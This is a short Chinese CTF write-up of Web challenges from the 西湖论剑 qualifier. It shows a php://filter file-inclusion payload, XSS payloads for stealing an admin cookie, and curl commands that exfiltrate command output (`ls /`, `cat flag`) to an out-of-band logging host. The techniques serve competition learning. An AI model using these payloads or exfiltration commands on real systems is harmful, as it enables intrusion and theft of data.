西湖论剑预选赛 Web部分题目解析
babyt3
签到题,题目首先给出提示
在参数上加上file,则会获得下一个提示
1 2
   | include $_GET['file'] <!--hint: ZGlyLnBocA== -->
   | 
 
解密后是dir.php
使用php伪协议包含获取dir.php里的内容
1 2 3 4 5 6 7 8 9 10 11 12
   | http://61.164.47.198:10000/?file=php://filter/read=convert.base64-encode/resource=./dir.php
  HTTP/1.1 200 OK Date: Thu, 11 Apr 2019 08:04:12 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 149 Connection: close Content-Type: text/html; charset=UTF-8
  include $_GET['file']PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2YXJfZHVtcChzY2FuZGlyKCRhKSk7Cg== <!--hint: ZGlyLnBocA== -->
   | 
 
解密
1 2 3 4 5 6
   | <?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
   | 
 
遍历后发现flag在根目录下,直接读取
BreakOut
随便输入账号密码登陆
登陆后是一个留言界面,可以像管理员报告漏洞
1 2 3 4 5
   | 
  如果你发现了该站点的bug,请将页面的URL提交给管理员,管理员会加上用户的token去登陆查验。
  感谢您的配合、
 
  | 
 
之后执行代码界面需要管理员权限,很显然是XSS打管理员Cookie然后命令执行了
存在过滤,可以使用
1 2 3 4
   | <img src=x onerror =alert(1)/> 或者 <iframe src=javascript:alert(1);></iframe>
   | 
 
执行命令的时候采用HTTP盲注入
用ceye平台
1 2
   | curl http://***/`ls /|grep flag` #找到带flag的文件 curl http://***/`cat flag`
   | 
 
猜猜flag是什么
懒得写了,休息休息
??
懒得写了,休息休息
你是我患得患失的梦,我是你可有可无的人。